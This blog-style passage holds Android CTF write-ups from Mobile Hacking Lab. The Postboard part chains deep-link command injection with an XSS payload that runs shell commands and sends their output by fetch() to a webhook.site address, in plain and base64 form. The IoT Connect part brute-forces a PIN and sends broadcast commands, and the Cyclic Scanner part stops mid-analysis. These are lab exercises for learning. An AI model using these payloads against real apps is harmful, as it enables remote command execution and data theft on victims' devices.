<p>While everything was focused on the markdown parser, I kept thinking about this code in the assets:</p>
<pre><code class="lang-bash"><span class="hljs-meta">#!/bin/sh</span>
<span class="hljs-comment"># cowsay.sh</span>

<span class="hljs-function"><span class="hljs-title">main</span></span>() {
    <span class="hljs-keyword">if</span> [ <span class="hljs-string">"<span class="hljs-variable">$#</span>"</span> -lt 1 ]; <span class="hljs-keyword">then</span>
        <span class="hljs-built_in">printf</span> <span class="hljs-string">"Usage: %s &lt;message&gt;\\n"</span> <span class="hljs-string">"<span class="hljs-variable">$0</span>"</span>
        <span class="hljs-built_in">exit</span> 1
    <span class="hljs-keyword">fi</span>

    message=<span class="hljs-string">"$*"</span>
    print_message <span class="hljs-string">"<span class="hljs-variable">$message</span>"</span>
    print_cow
}

main <span class="hljs-string">"<span class="hljs-variable">$@</span>"</span>
</code></pre>
<p><strong>My thought:</strong> This shell script takes user input directly. That's a classic command injection vulnerability.</p>
<p>Looking at how it's called:</p>
<pre><code class="lang-java"><span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">final</span> String <span class="hljs-title">runCowsay</span><span class="hljs-params">(String message)</span> </span>{
    String[] command = {<span class="hljs-string">"/bin/sh"</span>, <span class="hljs-string">"-c"</span>, 
                       CowsayUtil.scriptPath + <span class="hljs-string">' '</span> + message};
    Process process = Runtime.getRuntime().exec(command);
    <span class="hljs-comment">// Read output...</span>
}
</code></pre>
<p><strong>Vulnerable!</strong> The message is concatenated directly into the shell command.</p>
<p>But here's the issue - <code>postMarkdownMessage()</code> was the primary path, and <code>postCowsayMessage()</code> only triggered on errors.</p>
<h2 id="heading-the-breakthrough-error-path-exploitation">The Breakthrough - Error Path Exploitation</h2>
<p>Remember that exception handler in <code>handleIntent()</code>?</p>
<pre><code class="lang-java">} <span class="hljs-keyword">catch</span> (Exception e) {
    binding.webView.loadUrl(
        <span class="hljs-string">"javascript:WebAppInterface.postCowsayMessage('"</span> + e.getMessage() + <span class="hljs-string">"')"</span>);
}
</code></pre>
<p><strong>The key insight:</strong> If I send invalid base64, the exception message contains my raw input!</p>
<p>Testing it:</p>
<pre><code class="lang-java">adb shell am start -a android.intent.action.VIEW -d <span class="hljs-string">"postboard://postmessage/helloworld;id"</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1770088423193/f5d76a74-693b-4169-858c-0e99f9e013ac.png" alt class="image--center mx-auto" /></p>
<p><strong>RCE achieved! via command injection in the error path!</strong></p>
<p>The flow:</p>
<ol>
<li><p>Invalid base64 → <code>Base64.decode()</code> throws exception</p>
</li>
<li><p>Exception message = <code>"invalid;id"</code> (our raw input)</p>
</li>
<li><p>Catch block calls: <code>postCowsayMessage("invalid;id")</code></p>
</li>
<li><p>Shell executes: <code>/bin/sh -c "</code><a target="_blank" href="http://cowsay.sh"><code>cowsay.sh</code></a> <code>invalid;id"</code></p>
</li>
<li><p>Shell interprets <code>;</code> → runs <a target="_blank" href="http://cowsay.sh"><code>cowsay.sh</code></a> <code>invalid</code> THEN <code>id</code></p>
</li>
</ol>
<h2 id="heading-real-world-thinking-why-xss-to-rce-matters">Real World Thinking - Why XSS to RCE Matters</h2>
<p>At this point, we have two separate vulnerabilities:</p>
<ol>
<li><p><strong>Direct RCE:</strong> <code>postboard://postmessage/invalid;whoami</code></p>
</li>
<li><p><strong>XSS:</strong> <code>postboard://postmessage/&lt;base64 encoded HTML&gt;</code></p>
</li>
</ol>
<p>But here's the problem with #1: <strong>It requires the attacker to directly send commands, how would an attacker exfilterate in a real world?</strong></p>
<p>In a real-world scenario:</p>
<ul>
<li><p>Attacker sends malicious deep link to victim</p>
</li>
<li><p>Victim clicks it (maybe via SMS, email, QR code)</p>
</li>
<li><p>Attacker wants to exfiltrate data back to their server</p>
</li>
</ul>
<p><strong>Challenge:</strong> How do I get the command output back?</p>
<p>Direct command injection via deep link shows output on the device screen, but the attacker can't see it!</p>
<p><strong>Solution:</strong> Chain XSS → RCE → Data Exfiltration</p>
<h2 id="heading-building-the-weaponized-payload">Building the Weaponized Payload</h2>
<p>The WebView exposes <code>WebAppInterface</code> to JavaScript:</p>
<pre><code class="lang-javascript"><span class="hljs-built_in">window</span>.WebAppInterface.postCowsayMessage(message)
<span class="hljs-built_in">window</span>.WebAppInterface.getMessages()
</code></pre>
<p>My attack chain:</p>
<ol>
<li><p>Use XSS to call <code>postCowsayMessage()</code> with command injection</p>
</li>
<li><p>Wait for command execution to complete</p>
</li>
<li><p>Retrieve output via <code>getMessages()</code></p>
</li>
<li><p>Exfiltrate to attacker's webhook</p>
</li>
</ol>
<h3 id="heading-the-network-challenge">The Network Challenge</h3>
<p>Initially thought: <em>"I'll use</em> <code>curl</code> or <code>wget</code> in the shell command to exfil data" This was the same problem with <a target="_blank" href="https://devandsecurity.com/mobile-hacking-lab-cyclic-scanner-android-services-challenge">Cyclic Challenge</a> that android busybox doesnt have curl or wget or maybe I am not aware?</p>
<pre><code class="lang-java">~ ❯ adb shell am start -a android.intent.action.VIEW \
  -d <span class="hljs-string">"postboard://postmessage/invalid;curl"</span>
Starting: Intent { act=android.intent.action.VIEW dat=postboard:<span class="hljs-comment">//postmessage/invalid }</span>
/system/bin/sh: curl: inaccessible or not found
</code></pre>
<p><strong>But wait... The WebView has network access!</strong></p>
<p>JavaScript's <code>fetch()</code> API should works perfectly in WebViews.</p>
<h2 id="heading-setting-up-the-webhook-data-exfiltration-endpoint">Setting Up the Webhook - Data Exfiltration Endpoint</h2>
<p>For those unfamiliar with webhooks, let me explain what they are and why we need them in this attack. A webhook is essentially a URL endpoint that receives HTTP requests. Think of it as a mailbox on the internet, whenever someone sends data to that URL, you can see what was sent.</p>
<p>In our attack scenario:</p>
<ul>
<li><p>We're executing commands on the victim's device (like <code>id</code>, <code>ls</code>, <code>cat /data/data/</code><a target="_blank" href="http://com.app/files/secret.txt"><code>com.app/files/secret.txt</code></a>)</p>
</li>
<li><p>The command output appears on the victim's screen, but we (the attacker) can't see it</p>
</li>
<li><p>We need a way to send that output back to ourselves</p>
</li>
</ul>
<p><a target="_blank" href="http://webhook.site"><strong>webhook.site</strong></a> is free and no signup required, you instantly get a unique URL like: <a target="_blank" href="https://webhook.site/d67c482a-84da-4bd2-b5ad-0ec49bdd0670`"><code>https://webhook.site/d67c482a-84da-4bd2-b5ad-0ec49bdd0670</code></a> - Any HTTP request to this URL appears in real-time on the webpage - Perfect for testing and CTF challenges</p>
<h3 id="heading-the-final-payload">The Final Payload</h3>
<pre><code class="lang-javascript">&lt;img
  src=<span class="hljs-string">"x"</span>
  onerror=<span class="hljs-string">"
    WebAppInterface.postCowsayMessage('x;id');

    setTimeout(function () {
      var m = WebAppInterface.getMessages();
      fetch(
        'https://webhook.site/d67c482a-84da-4bd2-b5ad-0ec49bdd0670?d=' +
        btoa(m)
      );
    }, 2000);
  "</span>
&gt;
</code></pre>
<p><strong>Why</strong> <code>setTimeout()</code>?</p>
<ul>
<li><p><code>postCowsayMessage()</code> triggers async shell execution</p>
</li>
<li><p>Need to wait for command output to be added to cache</p>
</li>
<li><p>Without delay, <code>getMessages()</code> returns empty/old data</p>
</li>
</ul>
<h3 id="heading-encoding-and-triggering">Encoding and Triggering</h3>
<p>Base64 encode the payload (I removed extra spaces from the above payload, earlier section was meant to beautify)</p>
<p>Actual payload</p>
<pre><code class="lang-xml"><span class="hljs-tag">&lt;<span class="hljs-name">img</span> <span class="hljs-attr">src</span>=<span class="hljs-string">x</span> <span class="hljs-attr">onerror</span>=<span class="hljs-string">"WebAppInterface.postCowsayMessage('x;id');setTimeout(function(){var m=WebAppInterface.getMessages();fetch('https://webhook.site/d67c482a-84da-4bd2-b5ad-0ec49bdd0670?d='+btoa(m))},2000)"</span>&gt;</span>
</code></pre>
<pre><code class="lang-java">PGltZyBzcmM9eCBvbmVycm9yPSJXZWJBcHBJbnRlcmZhY2UucG9zdENvd3NheU1lc3NhZ2UoJ3g7aWQnKTtzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7dmFyIG09V2ViQXBwSW50ZXJmYWNlLmdldE1lc3NhZ2VzKCk7ZmV0Y2goJ2h0dHBzOi8vd2ViaG9vay5zaXRlL2Q2N2M0ODJhLTg0ZGEtNGJkMi1iNWFkLTBlYzQ5YmRkMDY3MD9kPScrYnRvYShtKSl9LDIwMDApIj4=
</code></pre>
<p>This was the base64 value of the payload, lets send it</p>
<h2 id="heading-bingo-moment"><strong>Bingo Moment</strong></h2>
<p>If you check your webhook, it gets hit, query param <code>d</code> contains some values</p>
<pre><code class="lang-xml">https://webhook.site/d67c482a-84da-4bd2-b5ad-0ec49bdd0670?d=WyI8aW1nIHNyYz14IG9uZXJyb3I9XCJXZWJBcHBJbnRlcmZhY2UucG9zdENvd3NheU1lc3NhZ2UoJ3g7aWQnKTtzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7dmFyIG09V2ViQXBwSW50ZXJmYWNlLmdldE1lc3NhZ2VzKCk7ZmV0Y2goJ2h0dHBzOlwvXC93ZWJob29rLnNpdGVcL2Q2N2M0ODJhLTg0ZGEtNGJkMi1iNWFkLTBlYzQ5YmRkMDY3MD9kPScrYnRvYShtKSl9LDIwMDApXCI+IiwiPHByZT4gXzxicj4mbHQ7IHggJmd0Ozxicj4gLTxicj4gICAgICAgIFxcICAgXl9fXjxicj4gICAgICAgICBcXCAgKG9vKVxcX19fX19fXzxicj4gICAgICAgICAgICAoX18pXFwgICAgICAgKVxcXC88YnI+ICAgICAgICAgICAgICAgIHx8LS0tLXcgfDxicj4gICAgICAgICAgICAgICAgfHwgICAgIHx8PGJyPnVpZD0xMDM4NSh1MF9hMzg1KSBnaWQ9MTAzODUodTBfYTM4NSkgZ3JvdXBzPTEwMzg1KHUwX2EzODUpLDMwMDMoaW5ldCksOTk5NyhldmVyeWJvZHkpLDIwMzg1KHUwX2EzODVfY2FjaGUpLDUwMzg1KGFsbF9hMzg1KSBjb250ZXh0PXU6cjp1bnRydXN0ZWRfYXBwOnMwOmMxMjksYzI1NyxjNTEyLGM3Njg8YnI+PFwvcHJlPiJd
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1770089295957/18d23a7b-117c-4090-b758-1c9fcc652654.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-xml">WyI8aW1nIHNyYz14IG9uZXJyb3I9XCJXZWJBcHBJbnRlcmZhY2UucG9zdENvd3NheU1lc3NhZ2UoJ3g7aWQnKTtzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7dmFyIG09V2ViQXBwSW50ZXJmYWNlLmdldE1lc3NhZ2VzKCk7ZmV0Y2goJ2h0dHBzOlwvXC93ZWJob29rLnNpdGVcL2Q2N2M0ODJhLTg0ZGEtNGJkMi1iNWFkLTBlYzQ5YmRkMDY3MD9kPScrYnRvYShtKSl9LDIwMDApXCI+IiwiPHByZT4gXzxicj4mbHQ7IHggJmd0Ozxicj4gLTxicj4gICAgICAgIFxcICAgXl9fXjxicj4gICAgICAgICBcXCAgKG9vKVxcX19fX19fXzxicj4gICAgICAgICAgICAoX18pXFwgICAgICAgKVxcXC88YnI+ICAgICAgICAgICAgICAgIHx8LS0tLXcgfDxicj4gICAgICAgICAgICAgICAgfHwgICAgIHx8PGJyPnVpZD0xMDM4NSh1MF9hMzg1KSBnaWQ9MTAzODUodTBfYTM4NSkgZ3JvdXBzPTEwMzg1KHUwX2EzODUpLDMwMDMoaW5ldCksOTk5NyhldmVyeWJvZHkpLDIwMzg1KHUwX2EzODVfY2FjaGUpLDUwMzg1KGFsbF9hMzg1KSBjb250ZXh0PXU6cjp1bnRydXN0ZWRfYXBwOnMwOmMxMjksYzI1NyxjNTEyLGM3Njg8YnI+PFwvcHJlPiJd
</code></pre>
<p>That is in base64, hence lets decode this, you have <code>id</code> executed!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1770089355061/ff2c9642-f235-428e-b8d3-49dfd46a380a.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-real-world-attack-scenario">Real World Attack Scenario</h2>
<p><strong>Attacker's perspective:</strong></p>
<p>In a realworld postboard social app, you would</p>
<ol>
<li><p>Craft malicious deep link with XSS payload</p>
</li>
<li><p>Send to victim on your own postboard that other’s can see or send payload via other delivery mechanisms such as sms.</p>
</li>
<li><p>If this is social postboard victim doesnt even need to click!</p>
</li>
<li><p>But if delivery mechanism is SMS then yes victim clicks → App opens → XSS executes</p>
</li>
<li><p>JavaScript:</p>
<ul>
<li><p>Runs arbitrary shell commands</p>
</li>
<li><p>Extracts sensitive data (contacts, files, app data)</p>
</li>
<li><p>Exfiltrates to attacker's server</p>
</li>
</ul>
</li>
<li><p>Victim sees normal app behavior (no visible indicators)</p>
</li>
</ol>
<p><strong>Why this is powerful:</strong></p>
<ul>
<li><p>No user interaction needed</p>
</li>
<li><p>Bypasses Android's permission model (app's own permissions are used, INTERNET)</p>
</li>
<li><p>Silent data exfiltration</p>
</li>
</ul>
<p>As an attacker, you should always think, "How would I weaponize this?" Popping up alert(1) on xss doesn’t do any real damage unless you can ex-filtrate.</p>
<p><em>Disclaimer: While all technical work and problem-solving was done by me, this writeup was edited with assistance from an LLM to improve grammar, clarity, and flow.ShareArtifactsDownload allPostboard</em></p>
]]></content:encoded></item><item><title><![CDATA[Mobile Hacking Lab: IoT Connect - Android Broadcast Receiver Challenge]]></title><description><![CDATA[Objective: Exploit an exported broadcast receiver to bypass PIN validation and control IoT devices
This challenge was part of Mobile Hacking Lab exploiting broadcast receiver, IoT Connect. It was interesting to learn about broadcast receivers, AES en...]]></description><link>https://devandsecurity.com/mobile-hacking-lab-iot-connect-android-broadcast-receiver-challenge</link><guid isPermaLink="true">https://devandsecurity.com/mobile-hacking-lab-iot-connect-android-broadcast-receiver-challenge</guid><category><![CDATA[CTF]]></category><category><![CDATA[mobilehackinglab]]></category><dc:creator><![CDATA[dev&security]]></dc:creator><pubDate>Tue, 03 Feb 2026 01:40:39 GMT</pubDate><content:encoded><![CDATA[<p>Objective: Exploit an exported broadcast receiver to bypass PIN validation and control IoT devices</p>
<p>This challenge was part of Mobile Hacking Lab exploiting broadcast receiver, IoT Connect. It was interesting to learn about broadcast receivers, AES encryption weaknesses, Let me walk you through.</p>
<h2 id="heading-initial-reconnaissance-manifest-analysis">Initial Reconnaissance - Manifest Analysis</h2>
<p>I started by examining the <code>AndroidManifest.xml</code> to identify the attack surface.</p>
<pre><code class="lang-xml"><span class="hljs-tag">&lt;<span class="hljs-name">receiver</span>
    <span class="hljs-attr">android:name</span>=<span class="hljs-string">"com.mobilehackinglab.iotconnect.MasterReceiver"</span>
    <span class="hljs-attr">android:enabled</span>=<span class="hljs-string">"true"</span>
    <span class="hljs-attr">android:exported</span>=<span class="hljs-string">"true"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">intent-filter</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">action</span> <span class="hljs-attr">android:name</span>=<span class="hljs-string">"MASTER_ON"</span>/&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">intent-filter</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">receiver</span>&gt;</span>
</code></pre>
<p><strong>What I noticed:</strong></p>
<ul>
<li><p><code>MasterReceiver</code> is <strong>exported</strong> - accessible from outside the app</p>
</li>
<li><p>It listens for the <code>MASTER_ON</code> action</p>
</li>
<li><p>No permission requirements protecting it</p>
</li>
</ul>
<p>This was a clear entry point for external exploitation.</p>
<h2 id="heading-first-attempt-understanding-broadcast-receivers">First Attempt - Understanding Broadcast Receivers</h2>
<p>I tried triggering the receiver using <code>am broadcast</code></p>
<pre><code class="lang-bash">am broadcast -n <span class="hljs-string">"com.mobilehackinglab.iotconnect/.MasterReceiver"</span> --es MASTER_ON <span class="hljs-string">"1234"</span>
</code></pre>
<p><strong>Nothing happened.</strong> I was confused about the proper syntax.</p>
<h3 id="heading-the-fix-using-intent-actions">The Fix - Using Intent Actions</h3>
<p>The issue was that I was specifying the component name instead of the intent action. Broadcast receivers respond to <strong>actions</strong>, not component names directly.</p>
<p><strong>Corrected command:</strong></p>
<pre><code class="lang-bash">am broadcast -a MASTER_ON --es key <span class="hljs-string">"123"</span> -n <span class="hljs-string">"com.mobilehackinglab.iotconnect/.MasterReceiver"</span>
</code></pre>
<p>Still nothing. I needed to understand what the receiver actually does.</p>
<h2 id="heading-code-analysis-the-receiver-logic">Code Analysis - The Receiver Logic</h2>
<p>I started examining the <code>MasterReceiver</code> implementation:</p>
<pre><code class="lang-java"><span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">void</span> <span class="hljs-title">onReceive</span><span class="hljs-params">(Context context, Intent intent)</span> </span>{
    <span class="hljs-keyword">if</span> (Intrinsics.areEqual(intent.getAction(), <span class="hljs-string">"MASTER_ON"</span>)) {
        <span class="hljs-keyword">int</span> key = intent.getIntExtra(<span class="hljs-string">"key"</span>, <span class="hljs-number">0</span>);
        <span class="hljs-keyword">if</span> (context != <span class="hljs-keyword">null</span>) {
            <span class="hljs-keyword">if</span> (Checker.INSTANCE.check_key(key)) {
                CommunicationManager.INSTANCE.turnOnAllDevices(context);
                Toast.makeText(context, <span class="hljs-string">"All devices are turned on"</span>, <span class="hljs-number">1</span>).show();
            } <span class="hljs-keyword">else</span> {
                Toast.makeText(context, <span class="hljs-string">"Wrong PIN!!"</span>, <span class="hljs-number">1</span>).show();
            }
        }
    }
}
</code></pre>
<p><strong>Key observations:</strong></p>
<ul>
<li><p>The receiver expects an <strong>integer</strong> extra named <code>key</code>, not a string</p>
</li>
<li><p>It validates the PIN using <code>Checker.check_key()</code></p>
</li>
<li><p>Success triggers <code>turnOnAllDevices()</code></p>
</li>
</ul>
<h3 id="heading-the-integer-issue">The Integer Issue</h3>
<p>My command was using <code>--es</code> (string extra) instead of <code>--ei</code> (integer extra):</p>
<pre><code class="lang-bash">am broadcast -a MASTER_ON --ei key <span class="hljs-string">"123"</span> -n <span class="hljs-string">"com.mobilehackinglab.iotconnect/.MasterReceiver"</span>
</code></pre>
<p><strong>Still no Toast appeared.</strong> Why?</p>
<h2 id="heading-the-toast-problem-app-must-be-running">The Toast Problem - App Must Be Running</h2>
<p>I used to be an android developer in the past and quickly remembered that <strong>Toast messages require ui context, an foreground activity</strong> to display.</p>
<pre><code class="lang-bash">Toast.makeText(context2, <span class="hljs-string">"All devices are turned on"</span>, 1).show();
</code></pre>
<p>The context2 here is the ui context required.</p>
<p>The broadcast receiver works without the app being open, but the Toast won't show. I needed to start the app first:</p>
<pre><code class="lang-bash">am start -n com.mobilehackinglab.iotconnect/.LoginActivity
</code></pre>
<p>Now when I sent the broadcast:</p>
<pre><code class="lang-bash">am broadcast -a MASTER_ON --ei key 123
</code></pre>
<p>I saw: <strong>"Wrong PIN!!"</strong></p>
<p>The receiver was working. Now I just needed the correct PIN.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1770082190250/3187f70d-b08a-4bf3-b2ea-a057101b9275.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-breaking-the-encryption-pin-validation-logic">Breaking the Encryption - PIN Validation Logic</h2>
<p>I examined the <code>Checker</code> class to understand the PIN validation:</p>
<pre><code class="lang-java"><span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">final</span> <span class="hljs-keyword">boolean</span> <span class="hljs-title">check_key</span><span class="hljs-params">(<span class="hljs-keyword">int</span> key)</span> </span>{
    <span class="hljs-keyword">try</span> {
        <span class="hljs-keyword">return</span> Intrinsics.areEqual(decrypt(ds, key), <span class="hljs-string">"master_on"</span>);
    } <span class="hljs-keyword">catch</span> (BadPaddingException e) {
        <span class="hljs-keyword">return</span> <span class="hljs-keyword">false</span>;
    }
}

<span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">final</span> String <span class="hljs-title">decrypt</span><span class="hljs-params">(String ds, <span class="hljs-keyword">int</span> key)</span> </span>{
    SecretKeySpec secretKey = generateKey(key);
    Cipher cipher = Cipher.getInstance(algorithm + <span class="hljs-string">"/ECB/PKCS5Padding"</span>);
    cipher.init(<span class="hljs-number">2</span>, secretKey);
    <span class="hljs-keyword">byte</span>[] decryptedBytes = cipher.doFinal(Base64.getDecoder().decode(ds));
    <span class="hljs-keyword">return</span> <span class="hljs-keyword">new</span> String(decryptedBytes, Charsets.UTF_8);
}

<span class="hljs-function"><span class="hljs-keyword">private</span> <span class="hljs-keyword">final</span> SecretKeySpec <span class="hljs-title">generateKey</span><span class="hljs-params">(<span class="hljs-keyword">int</span> staticKey)</span> </span>{
    <span class="hljs-keyword">byte</span>[] keyBytes = <span class="hljs-keyword">new</span> <span class="hljs-keyword">byte</span>[<span class="hljs-number">16</span>];
    <span class="hljs-keyword">byte</span>[] staticKeyBytes = String.valueOf(staticKey).getBytes(Charsets.UTF_8);
    System.arraycopy(staticKeyBytes, <span class="hljs-number">0</span>, keyBytes, <span class="hljs-number">0</span>, 
                     Math.min(staticKeyBytes.length, keyBytes.length));
    <span class="hljs-keyword">return</span> <span class="hljs-keyword">new</span> SecretKeySpec(keyBytes, algorithm);
}
</code></pre>
<p><strong>The encryption scheme:</strong></p>
<ol>
<li><p>The encrypted string is: <code>OSnaALIWUkpOziVAMycaZQ==</code></p>
</li>
<li><p>The PIN is converted to UTF-8 bytes and zero-padded to 16 bytes (AES key size)</p>
</li>
<li><p>AES/ECB is used to decrypt the base64-encoded ciphertext</p>
</li>
<li><p>If the decrypted value equals <code>"master_on"</code>, the PIN is correct</p>
</li>
</ol>
<h2 id="heading-brute-force-attack-finding-the-pin">Brute Force Attack - Finding the PIN</h2>
<p>Since the PIN is only 000-999, I wrote a Python script to brute force it:</p>
<pre><code class="lang-python"><span class="hljs-keyword">from</span> Crypto.Cipher <span class="hljs-keyword">import</span> AES
<span class="hljs-keyword">from</span> Crypto.Util.Padding <span class="hljs-keyword">import</span> unpad
<span class="hljs-keyword">import</span> base64

ENCRYPTED_PIN = <span class="hljs-string">"OSnaALIWUkpOziVAMycaZQ=="</span>

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">generate_secret_key</span>(<span class="hljs-params">static_key</span>):</span>
    key_bytes = bytearray(<span class="hljs-number">16</span>)
    static_key_bytes = str(static_key).encode(<span class="hljs-string">'utf-8'</span>)
    key_bytes[:len(static_key_bytes)] = static_key_bytes[:<span class="hljs-number">16</span>]
    <span class="hljs-keyword">return</span> bytes(key_bytes)

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">decrypt_pin</span>(<span class="hljs-params">encrypted_pin, secret_key</span>):</span>
    cipher = AES.new(secret_key, AES.MODE_ECB)
    decrypted = cipher.decrypt(base64.b64decode(encrypted_pin))
    <span class="hljs-keyword">return</span> unpad(decrypted, AES.block_size).decode(<span class="hljs-string">'utf-8'</span>)

<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">1000</span>):
    pin = <span class="hljs-string">f"<span class="hljs-subst">{i:<span class="hljs-number">03</span>d}</span>"</span>
    secret_key = generate_secret_key(pin)
    <span class="hljs-keyword">try</span>:
        decrypted_pin = decrypt_pin(ENCRYPTED_PIN, secret_key)
        <span class="hljs-keyword">if</span> decrypted_pin == <span class="hljs-string">"master_on"</span>:
            print(<span class="hljs-string">"PIN found:"</span>, pin)
            <span class="hljs-keyword">break</span>
    <span class="hljs-keyword">except</span> (ValueError, KeyError):
        <span class="hljs-keyword">continue</span>
</code></pre>
<p><strong>Result:</strong> PIN found: <strong>345</strong></p>
<h2 id="heading-exploitation-turning-on-all-devices">Exploitation - Turning On All Devices</h2>
<p>Now I had everything I needed:</p>
<pre><code class="lang-bash">am start -n com.mobilehackinglab.iotconnect/.LoginActivity &amp;&amp; am broadcast -a MASTER_ON --ei key 345
</code></pre>
<p><strong>Toast displayed:</strong> "All devices are turned on"</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1770082322522/ffa3ba56-628a-4cf1-8dd9-90a42178db35.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-key-takeaways">Key Takeaways</h2>
<ol>
<li><p><strong>Intent actions vs component names</strong> - Broadcast receivers respond to actions in intent filters</p>
</li>
<li><p><strong>Data types matter</strong> - Using <code>--ei</code> for integers vs <code>--es</code> for strings is critical</p>
</li>
<li><p><strong>Toast visibility</strong> - Toasts require a foreground activity context to display</p>
</li>
<li><p><strong>Weak encryption</strong> - Using a small keyspace (3-digit PIN) makes brute force trivial</p>
</li>
<li><p><strong>AES key derivation</strong> - Simply zero-padding a PIN to 16 bytes is cryptographically weak</p>
</li>
</ol>
<p>Dis<em>claimer: While all technical work and problem-solving was done by me, this writeup was edited with assistance from an LLM to improve grammar, clarity, and flow.</em></p>
]]></content:encoded></item><item><title><![CDATA[Mobile Hacking Lab; Cyclic Scanner ; Android Services Challenge]]></title><description><![CDATA[Objective: Exploit a vulnerability in an Android service to achieve Remote Code Execution (RCE)
This CTF challenge taught me about command injection through filenames and how unexported Android services can still be vulnerable. Let me walk you throug...]]></description><link>https://devandsecurity.com/mobile-hacking-lab-cyclic-scanner-android-services-challenge</link><guid isPermaLink="true">https://devandsecurity.com/mobile-hacking-lab-cyclic-scanner-android-services-challenge</guid><category><![CDATA[CTF]]></category><category><![CDATA[CTF Writeup]]></category><category><![CDATA[mobilehackinglab]]></category><dc:creator><![CDATA[dev&security]]></dc:creator><pubDate>Sat, 24 Jan 2026 02:55:20 GMT</pubDate><content:encoded><![CDATA[<p>Objective: Exploit a vulnerability in an Android service to achieve Remote Code Execution (RCE)</p>
<p>This CTF challenge taught me about command injection through filenames and how unexported Android services can still be vulnerable. Let me walk you through my thought process and the roadblocks I hit.</p>
<h2 id="heading-initial-reconnaissance-manifest-analysis">Initial Reconnaissance - Manifest Analysis</h2>
<p>Like always, I started by examining the <code>AndroidManifest.xml</code> file to understand the app's attack surface.</p>
<pre><code class="lang-xml"><span class="hljs-tag">&lt;<span class="hljs-name">application</span>
    <span class="hljs-attr">android:debuggable</span>=<span class="hljs-string">"true"</span>
    <span class="hljs-attr">android:allowBackup</span>=<span class="hljs-string">"true"</span>&gt;</span>

    <span class="hljs-tag">&lt;<span class="hljs-name">activity</span>
        <span class="hljs-attr">android:name</span>=<span class="hljs-string">"com.mobilehackinglab.cyclicscanner.MainActivity"</span>
        <span class="hljs-attr">android:exported</span>=<span class="hljs-string">"true"</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">intent-filter</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">action</span> <span class="hljs-attr">android:name</span>=<span class="hljs-string">"android.intent.action.MAIN"</span>/&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">category</span> <span class="hljs-attr">android:name</span>=<span class="hljs-string">"android.intent.category.LAUNCHER"</span>/&gt;</span>
        <span class="hljs-tag">&lt;/<span class="hljs-name">intent-filter</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">activity</span>&gt;</span>

    <span class="hljs-tag">&lt;<span class="hljs-name">service</span>
        <span class="hljs-attr">android:name</span>=<span class="hljs-string">"com.mobilehackinglab.cyclicscanner.scanner.ScanService"</span>
        <span class="hljs-attr">android:exported</span>=<span class="hljs-string">"false"</span>/&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">application</span>&gt;</span>
</code></pre>
<p><strong>What I noticed:</strong></p>
<ul>
<li><p><code>MainActivity</code> is exported (accessible from outside)</p>
</li>
<li><p><code>ScanService</code> has <code>exported="false"</code> (not directly accessible)</p>
</li>
<li><p>The app has <code>MANAGE_EXTERNAL_STORAGE</code> permission</p>
</li>
</ul>
<p>I was confused at first. How can I exploit a service that's not exported? I wandered around intents and what not.</p>
<h2 id="heading-the-dead-end-mainactivity-analysis">The Dead End - MainActivity Analysis</h2>
<p>I decompiled the APK and looked at <code>MainActivity</code> to see if it could be a bridge to the unexported service.</p>
<pre><code class="lang-java"><span class="hljs-function"><span class="hljs-keyword">private</span> <span class="hljs-keyword">final</span> <span class="hljs-keyword">void</span> <span class="hljs-title">setupSwitch</span><span class="hljs-params">()</span> </span>{
    activityMainBinding.serviceSwitch.setOnCheckedChangeListener(
        (compoundButton, isChecked) -&gt; {
            <span class="hljs-keyword">if</span> (isChecked) {
                Toast.makeText(<span class="hljs-keyword">this</span>, <span class="hljs-string">"Scan service started..."</span>, <span class="hljs-number">0</span>).show();
                startForegroundService(<span class="hljs-keyword">new</span> Intent(<span class="hljs-keyword">this</span>, ScanService.class));
            }
        }
    );
}
</code></pre>
<p>The MainActivity just starts the service when a switch is toggled in the UI. It doesn't process any Intent extras from external sources. This was a dead end for getting user-controlled data into the service.</p>
<p><strong>I was stuck here for a while.</strong> MainActivity wasn't accepting any external input that could reach ScanService.</p>
<h2 id="heading-the-real-vulnerability-scanservice-code">The Real Vulnerability - ScanService Code</h2>
<p>I shifted focus to <code>ScanService</code> itself to understand what it actually does</p>
<pre><code class="lang-java"><span class="hljs-meta">@Override</span>
<span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">void</span> <span class="hljs-title">handleMessage</span><span class="hljs-params">(Message msg)</span> <span class="hljs-keyword">throws</span> IOException </span>{
    System.out.println(<span class="hljs-string">"starting file scan..."</span>);
    File externalStorageDirectory = Environment.getExternalStorageDirectory();
    Sequence files = FilesKt.walk(externalStorageDirectory);

    <span class="hljs-keyword">for</span> (Object element : files) {
        File file = (File) element;
        <span class="hljs-keyword">if</span> (file.canRead() &amp;&amp; file.isFile()) {
            System.out.print(file.getAbsolutePath() + <span class="hljs-string">"..."</span>);
            <span class="hljs-keyword">boolean</span> safe = ScanEngine.INSTANCE.scanFile(file);
